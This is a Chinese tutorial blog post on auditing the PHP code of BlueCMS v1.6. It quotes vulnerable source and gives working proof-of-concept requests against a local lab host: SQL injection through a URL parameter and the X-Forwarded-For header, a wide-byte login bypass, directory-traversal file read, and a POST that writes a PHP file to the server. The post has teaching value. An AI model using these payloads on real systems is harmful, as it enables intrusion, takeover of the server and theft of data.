通过 BlueCMS 学习 php 代码审计 通过 BlueCMS 学习 php 代码审计

通过 BlueCMS 学习 php 代码审计

0x00 前言

最近一直在学习php代码审计,入门过程比自己想象的慢很多,现在各个行业都在内卷,代码审计随着 web 开发技术的发展也会变得更加复杂。但不管现在技术多成熟,多复杂,基础知识一定要扎实。先记录下我目前学习php代码审计的过程:

php基础语法巩固 -> php特性 -> 各漏洞挖掘方法 -> 早期CMS程序代码审计实战 -> MVC模式程序代码审计实战

网上已经有很多讲解如何去审计各种php程序漏洞的博客,大家都讲的很好,但学完这些知识后去真正上手审计一个CMS时,会突然发现自己什么都不会,我总结原因是自己的 web 开发知识太少了,不理解程序的逻辑,导致在审计大量代码时会晕头转向,没有方向。

然后我边学最基础的web开发知识, 边找最简单的 CMS 实战审计,然后逐渐增加难度,慢慢的找到了感觉。目前我认为自己还是一个菜鸡,确实也还是一个菜鸡,所以自己打算好好整理早期CMS程序代码审计实战 -> MVC模式程序代码审计实战的过程,并在博客上发表。

早期CMS程序代码审计实战 我依次选择了 BlueCMS, SeaCMS, DedeCMS, PhpCMS 这 4 个CMS,难度逐渐提升。在对这几个系统的代码审计过程中,也能感受到 web 开发技术的发展和趋势,直到PhpCMS,发现已经实现了一个MVC模型的程序。相信完成这步后再审计非 MVC 模式程序的代码就会具有清晰的思路与十足的把握。

0x01 BlueCMS 简介

BlueCMS 是一款应用于地方分类信息的门户系统,本文下载的源码为 BlueCMS v1.6 sp1版,可以追溯到2010年左右了,该系统确实很老,但审计该系统有一个好处是,即使现在web开发技术十分成熟了,但仍有人因为经验缺乏或时间原因会开发出类似BlueCMS这样简单的系统,甚至比BlueCMS更简单。通过对 BlueCMS 实战审计,能够熟悉这类简单 CMS 的程序逻辑。

BlueCMS 被认为是练手代码审计的绝佳项目,以至于现在百度BlueCMS的关键词全是代码审计。那为什么 BlueCMS 都被审计烂了,我还要在发一篇BlueCMS的代码审计博客呢?首先BlueCMS确实经典,是一个入门的好项目;其次BlueCMS是无MVC架构时期最早流行的一批CMS,是早期CMS程序代码审计实战系列最标志的第一环。

BlueCMS 源码也不太好找,这里推荐站长之家(http://down.chinaz.com/),yyds

BlueCMS本地部署好后,先访问 /install/index.php 进行安装,感觉过程有点bug,不过返回首页后会发现安装成功。

0x02 全局分析

在学完php的各漏洞代码审计方法后我就直接利用 seay 去扫描代码敏感关键字回溯的方法去审计代码,但在过程中却逐渐蒙圈,经验总结,在审计一个成熟的CMS之间,还是要做好全局分析的工作

目录结构

通过目录结构可以简单看出程序的逻辑
目录结构主要关注入口文件index.php在程序中的位置,BlueCMS时期的程序 index.php 基本位于程序根目录下,其实这是不安全的,会导致整个程序文件被窃取的风险,在审计后面的CMS中会发现这个问题会改善
图片.png

首页 index.php

首页 index.php 首先会加载common.inc.php,include/index.fun.php这些文件具体做了什么后面仔细分析

然后 index.php 就从数据库中获取首页信息,利用smarty模板显示。Smarty是BlueCMS引用的一个成熟的PHP模板引擎,Smarty在那个时期也是很火的,关于Smarty的具体实现代码我们就可以忽略了

require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');
// 获取新闻栏目、新闻分类列表、网站公告等数据
……
// 利用smarty模板引擎显示页面
$smarty->display('index.htm');

可以看出index.php并不能算入口文件,它只是在做一个页面的显示工作,从这里我们大概知道前台是一个多入口的模式,注意多入口的系统需要对每个入口文件单独做安全过滤,它们通常都会加载同一个文件来实现,在BlueCMS中这个文件就是common.inc.php

include/common.inc.php

对GPC数据做了过滤,但外部可控数据还包括$_SERVER没有经过过滤

还需要留意的是 comon.inc.php 还做好了数据库连接工作,$db 为连接数据的对象,后续可以直接使用

comon.inc.php 的其他处理逻辑注释即可

// 加载一些基础文件
require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');

// 外部数据过滤
if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}

// 数据库链接
require_once(BLUE_ROOT.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);

// Smarty模板对象就是这引入的
require(BLUE_ROOT.'include/smarty/Smarty.class.php');
$smarty = new Smarty();

// 用户ip处理
$banned_ip = get_bannedip();
if (@in_array($online_ip, $banned_ip))
{
	showmsg('对不起,您的IP已被禁止,有问题请联系管理员!');
}

外部数据的具体过滤方式

追踪一下deep_addslashes()方法,看下数据过滤的具体实现方式

/include/common.fun.php

具体过滤函数是addslashes(),在此情况下引号形式的sql注入基本会被过滤,所以凡是加了common.inc.php的入口文件,基本会实现这些过滤操作

// include/common.fun.php 14-28:
function deep_addslashes($str)
{
	if(is_array($str))
	{
		foreach($str as $key=>$val)
		{
			$str[$key] = deep_addslashes($val);
		}
	}
	else
	{
		$str = addslashes($str);
	}
	return $str;
}

数据库连接方式

include/mysql.class.php

数据库连接方法是mysql_connect(),$linkid存放MySQL 连接标识

这里应该提取到一个十分关键的信息,数据库编码为gbk,那么程序就有宽字节注入的可能

然后会看到mysql类还封装了很多底层sql的执行方法,知道这些方法是干嘛的就行

class mysql {
		var $linkid=null;
    function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1) {
    	$this -> mysql($dbhost, $dbuser, $dbpw, $dbname, $dbcharset, $connect);
    }
    function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
    	$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
    	if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
    		$this->dbshow('Can not connect to Mysql!');
    	} else {
    		if($this->dbversion() > '4.1'){
    			mysql_query( "SET NAMES gbk");
    		}
    	}
    }
  	// mysql_query()封装执行sql语句的方法
  	function query($sql){
    	if(!$query=@mysql_query($sql, $this->linkid)){
    		$this->dbshow("Query error:$sql");
    	}else{
    		return $query;
    	}
    }
  	//	getone() 封装查询数据的方法
  	function getone($sql, $type=MYSQL_ASSOC){
    	$query = $this->query($sql,$this->linkid);
    	$row = mysql_fetch_array($query, $type);
    	return $row;
    }
  ……
}

后台逻辑分析

后台一般只有通过身份验证后才能访问,提前就有一层安全保障,但后台程序一般都是漏洞百出,我们很多时候只有靠后台才能拿到服务器的shell。这里具体分析一下BlueCMS的后台逻辑

后台入口文件

admin/index.php

admin/index.php 的大部分逻辑由 admin/include/common.inc.php 处理

index.php 剩下内容主要用于显示后台的页面

require_once(dirname(__FILE__) . "/include/common.inc.php");
$act=!empty($_REQUEST['act']) ? trim($_REQUEST['act']) : '';
if($act==''){
  // 显示后台页面
  $smarty->display('index.htm');
}
elseif($act=='top')
{
	// 显示顶部
	$smarty->display('top.htm');
}
elseif($act=='menu'){
  // 显示菜单
  $smarty->display('menu.htm');
}
elseif($act == 'main'){
  // 显示主体页面
  $smarty->display('main.htm');
}

admin/templates/default/index.htm

关注 index.htm 可以知道后台是通过frame来实现的,这样后台程序的所有功能都可以依附在index.php下实现,在早期的CMS中,基本都是这种实现方案

<frameset rows="76,*" frameborder="no" border="0" framespacing="0" >
        <frame src="index.php?act=top" name="topFrame" id="topFrame" scrolling="no" noresize>
        <frameset cols="176,*" name="bodyFrame" id="bodyFrame" frameborder="no" border="0" framespacing="0"  >
            <frame src="index.php?act=menu" name="menuFrame" id="menuFrame" scrolling="yes" noresize>
            <frame src="index.php?act=main" name="mainFrame" id="mainFrame" scrolling="auto" noresize>
        </frameset>
</frameset>

common.inc.php处理细节

admin/include/common.inc.php

该文件内容和 include/common.inc.php 差不多,不同之处在于多了管理员的认证,如果看到加载了 include/common.inc.php 的文件,那么该文件基本为后台访问页面

可以看到 BlueCMS 主要通过session的方法认证用户登陆状态,如果$_SESSION['admin_id']存在则通过验证并刷新用户登陆记录

当前用户 session 信息为空时则会判断用户的cookie信息,如果设置了cookie信息则判断cookie的账号密码是否能登陆

如果未设置cookie信息,则跳转到login.php?act=login页面重新登陆

// 加载一些基础文件
require_once(……)
// 外部数据过滤
deep_addslashes()
// 数据库链接
require_once(BLUE_ROOT.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
// 加载smarty模板引擎
require(BLUE_ROOT.'include/smarty/Smarty.class.php');
$smarty = new Smarty();
// 管理员身份认证
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){
    if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){
        if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){
          update_admin_info($_COOKIE['Blue']['admin_name']);
        }
    }else{
        setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);
        setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);
        setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);
        echo '<script type="text/javascript">top.location="login.php?act=login";</script>';
        exit();
    }
}elseif($_SESSION['admin_id']){
     update_admin_info($_SESSION['admin_name']);
}

0x03 漏洞审计

sql注入漏洞

通过BlueCMS我们可以看到各种常见的漏洞写法

数字型注入

ad_js.php

ad_js.php 加载了common.inc.php,会对GPC数据做 addslashes() 过滤

$ad_id通过 $_GET 方式获取,会自动经过一层过滤,最终传入到sql语句执行

在执行的sql语句中发现$ad_id没有引号包裹,而且没有做数字型判断,那么这里很有可能存在数字型sql注入

sql查询结果最后是用注释的方式放在页面上

require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
	$ad_content = $ad['content'];
}
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

复现漏洞时我是想利用报错注入快一点,但没有成功,奇怪,下面用union注入复现:

http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+

图片.png

$_SERVER 的突破

上面知道只对GPC数据做了全局过滤,还有一个$_SERVER是没有过滤的,其实$_SERVER也是可以传入外部可控数据的

guest_book.php

guest_book.php 是一个处理用户留言功能的模块,但用户发送留言时,会同时把用户留言的ip地址一起放到数据库中

其中$online_ip来自 common.fun.php 中 getip() 函数

require dirname(__FILE__) . '/include/common.inc.php';
if ($act == 'list'){
  ……
}elseif($act == 'send'){
  $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
			VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
	$db->query($sql);
}

common.fun.php

getip() 首先会在HTTP_开头的环境变量寻找ip,HTTP_开头的变量是可控的,来自请求头

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	……
  else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
  return $ip;
}

漏洞复现:

POST /guest_book.php HTTP/1.1
Host: bluecms:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X_FORWARDED_FOR: 192.168.44.1',user())#
Connection: close
Cookie: PHPSESSID=8d9d7ed9da5a96ac9b0093dceed684f9
Upgrade-Insecure-Requests: 1
Content-Length: 37

content=hello&act=send&page_id=1&rid=

效果:
图片.png

宽字节注入

上面有提到这一点,因为程序在数据库链接处设置了GBK编码,利用宽字节注入可以绕过程序过滤,所以BlueCMS的sql注入基本都有存在,下面就找一个地方验证一下

admin/login.php

admin/login.php 是后台管理员登陆页面,如果这里存在sql注入常见的利用方式就是注入万能密码

可以看到后台验证验证用户是否登陆的依据:具有非空$_SESSION['admin_id']值

$admin_name 和 $admin_pwd 通过post获取,post数据会通过addslashs()函数过滤。验证的关键函数为check_admin()

require_once(dirname(__FILE__) . '/include/common.inc.php');
if($act == 'login'){
  if($_SESSION['admin_id']){
 		showmsg('您已登录,不用再次登录', 'index.php');
 	}
  ……
}elseif($act == 'do_login'){
  $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
	$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
	if(check_admin($admin_name, $admin_pwd)){
 		update_admin_info($admin_name);
 		if($remember == 1){
 			setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
 			setcookie('Blue[admin_name]', $admin_name, time()+86400);
			setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
 		}
 	}else{
 		showmsg('您输入的用户名和密码有误');
 	}
}

admin/include/common.fun.php

判断的依据是同时查询用户名和密码,查询到结果则为真

function check_admin($name, $pwd)
{
	global $db;
	$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
 	if($row['num'] > 0)
 	{
 		return true;
 	}
 	else
 	{
 		return false;
 	}
}

这里我们的宽字节利用不就来了,注入永真的sql语句,我们就绕过了前台的限制

注意浏览器会自动对post数据url编码,我们注入的%会被编码导致注入宽字节失效,最好通过抓包取消url编码

图片.png

任意文件读取/写入

在 BlueCMS 后台处有一个编辑模板的功能,对于这种功能,安全小伙应该保持敏感,这里会出现读取和写入的操作,很有可能就存在任意文件读取/写入漏洞
图片.png
图片.png

审计细节

admin/tpl_manage.php

require_once(dirname(__FILE__).'/include/common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'list';
if($act == 'list'){
  $dir = BLUE_ROOT.'templates/default';
  // 列出$dir下的文件
	……
}
elseif($act == 'edit'){
  $file = $_GET['tpl_name'];
	if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
		showmsg('打开目标模板文件失败');
	}
	$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
	$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
	fclose($handle);
	$tpl['name'] = $file;
	template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
	$smarty->display('tpl_info.htm');
}
elseif($act == 'do_edit'){
	$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
 	$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
 	if(empty($tpl_name)){
 		return false;
 	}
 	$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
 	if(!$handle = @fopen($tpl, 'wb')){
		showmsg("打开目标模版文件 $tpl 失败");
 	}
 	if(fwrite($handle, $tpl_content) === false){
 		showmsg('写入目标 $tpl 失败');
 	}
 	fclose($handle);
 	showmsg('编辑模板成功', 'tpl_manage.php');
}

$act可控,用于指定操作,具有的操作为list, edit 和do_edit

默认操作 list,列出指定目录下的文件

操作 edit用于读取指定目录下的$file,该参数可控,通过../可以实现目录穿越,这里就有任意文件读取漏洞

操作 do_edit 将$tpl_content写入到$tpl_name文件中,两个参数都可控,不过写入的内容$tpl_content会通过 deep_stripslashes() 过滤,同时还要注意$tpl_content是通过 POST 方式传入的,还会经过 addslashes() 处理

include/common.fun.php

查看 deep_stripslashes() ,其实就是使用 stripslashes() 来消除 addslashes() 的影响,所以这里我们输入的内容完全可控,这里将同时存在任意文件读取和写入的漏洞

function deep_stripslashes($str)
{
 	if(is_array($str))
 	{
 		foreach($str as $key => $val)
 		{
 			$str[$key] = deep_stripslashes($val);
 		}
 	}
 	else
 	{
 		$str = stripslashes($str);
 	}
 	return $str;
}

复现

利用目录穿越读取任意文件

图片.png直接构造一个post请求修改一个不存在的文件,这样将会创建一个文件并写入,poc如下:

POST /admin/tpl_manage.php HTTP/1.1
Host: bluecms.test:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://bluecms.test:8888
Connection: close
Referer: http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=news_info.htm
Cookie: PHPSESSID=bb499d4e1bddb4c5b2c6cd16c39e5c77
Upgrade-Insecure-Requests: 1

tpl_content=<?php phpinfo();?>&tpl_name=php.php&act=do_edit

效果:

图片.png

任意文件删除

user.php

$id 可控,直接传入unlink()会可造成任意文件删除漏洞。不过在unlink()操作前会执行一条sql语句,BlueCMS 初始数据库是没有company_image表的,导致数据库报错是执行不到unlink()操作的

elseif ($act == 'del_pic') {
    $id = $_REQUEST['id'];
    $db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'");
    if (file_exists(BLUE_ROOT . $id)) {
        @unlink(BLUE_ROOT . $id);
    }

0x04 总结

BlueCMS 总体代码比较简单,出现的漏洞也比较典型,没有什么特别之处。另外本文并没有针对 XSS 漏洞做审计,对于这种简单的系统使用黑盒测试的方法似乎要更快一点。

参考

https://xz.aliyun.com/t/7074

评论 0

sitemap